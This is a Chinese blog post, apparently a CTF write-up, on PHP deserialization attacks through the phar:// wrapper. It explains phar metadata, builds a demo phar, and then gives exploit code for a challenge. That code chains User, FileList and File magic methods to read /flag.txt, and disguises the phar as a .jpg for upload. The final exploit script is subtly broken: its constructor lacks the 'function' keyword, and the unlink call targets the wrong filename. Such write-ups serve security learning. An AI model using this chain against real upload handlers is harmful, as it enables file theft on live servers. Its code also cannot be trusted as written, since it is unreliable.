白袍的小行星

利用phar伪协议进行反序列化攻击

字数统计: 1.3k阅读时长: 5 min
2020/03/14 Share

在以往的认知中,PHP反序列化漏洞都至少需要unserialize()函数存在,不然我们是没法利用的。其实不然,利用phar://伪协议也可以完成反序列化漏洞利用。

何为phar?

简单来说,phar是PHP提供的一种压缩和归档的方案,并且还提供了各种处理它的方法。

一个phar文件由四部分组成,分别是:

  1. stub.即用来标识phar 文件的部分,类似图片头。格式为xxx<?php xxx; __HALT_COMPILER();?>
  2. manifest describing the contents.存储各个被压缩文件的各种信息,也存储用户自定义的meta-data,这是用来攻击的入口
  3. the file contents.被压缩文件的内容
  4. signature for verifying Phar integrity.可选项,即签名。

原理

好了,现在你已经知道什么是phar了,那么为什么会发生反序列化呢?

原因就在于phar在处理用户自定义的meta-data时,会进行序列化后存储,而使用某些文件函数通过phar://解析phar文件的时候会进行反序列化。

我们来测试一下:(测试时要在php.ini中设置phar.readonly = Off

<?php
//创建并写入phar文件
class Test{
public $test = "Hello World";

public function __destruct() {
echo 'unserialize!';
}
}
unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$test = new Test();
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo '创建完成' . "</br>";


//读取
$filename = 'phar://test.phar/test.txt';
file_get_contents($filename);

?>

结果如图:

这里使用了file_get_contents()来处理,实际还有很多文件函数如unlink()copy()等也受到影响。

攻击方法

此方法无疑是有条件的,具体为:

  1. 能够上传phar 文件。Phar扩展识别phar文件的依据是根据stub,只要这个在文件开始处就能正常识别,改后缀名或加图片头并不影响识别。
  2. 文件操作函数的参数可控。
  3. 有合适的魔术方法。

以CTF题目为例,首先打开题目是一个登陆处,注册后登陆进去可以上传文件,但是后缀会被强制命名为.jpg等无害文件。在下载文件处找到一个任意文件下载,但是不能下载flag文件,于是下载了class.php来瞧瞧。

我们首先梳理清楚目标和条件是什么。

目标:读取flag

条件:一个触发phar反序列化的文件函数,一个可以被触发的方法

危险的文件函数已经找到了,就在File类的close()方法里:

public function close() {
return file_get_contents($this->filename);
}

这个函数会读取文件内容,就用它来拿flag.

再看其他类,发现User类里有一处调用了close()方法:

public function __destruct() {
$this->db->close();
}

现在我们可以读取flag了,但是无法输出,所以我们也就看不到。

再继续找能输出的地方,这就看到了FileList类的__destruct()方法:

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}

此方法会将results进行输出,好,我们接下来要将读取的结果存储到results里。

完成这一任务的是FileList类的__call()方法,它调用了对象$fileopen()方法,并将内容存储到results中:

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

_call()方法会在对象上下文中调用不可访问的方法时触发。

所以攻击路径就是这样:我们利用User类的__destruct()的方法,来调用FileList类中不存在的close()方法,这样就会触发FileList类的__call()方法,在__call()方法中调用File类的close()方法读取flag文件,最后由FileList类调用__destruct()输入flag.

也许你对__call()如何调用了close()还有疑问,再做一点解释。

public __call ( string $name , array $arguments )

$name代表要调用的方法名称,$arguments代表要传递给此方法的参数。

构造出来的EXP如下:

<?php

class User{
public $db;
}
class File{
public $filename = '/flag.txt';
}
class FileList{
private $files;
public __construct(){
$this->files=array(new File());//将File对象存储到数组files中
}
}
$b=new FileList();//完成存储文件名
$c=new User();
$c->db=$b;

@unlink("test.phar");
$phar = new Phar("phar123.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($c);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('phar123.phar','phar.jpg');
?>

上传后删除即可得到flag.

总结

发现自己的PHP水平还有待提高,不然看代码审计会有很大困难。

CATALOG
  1. 1. 何为phar?
  2. 2. 原理
  3. 3. 攻击方法
  4. 4. 总结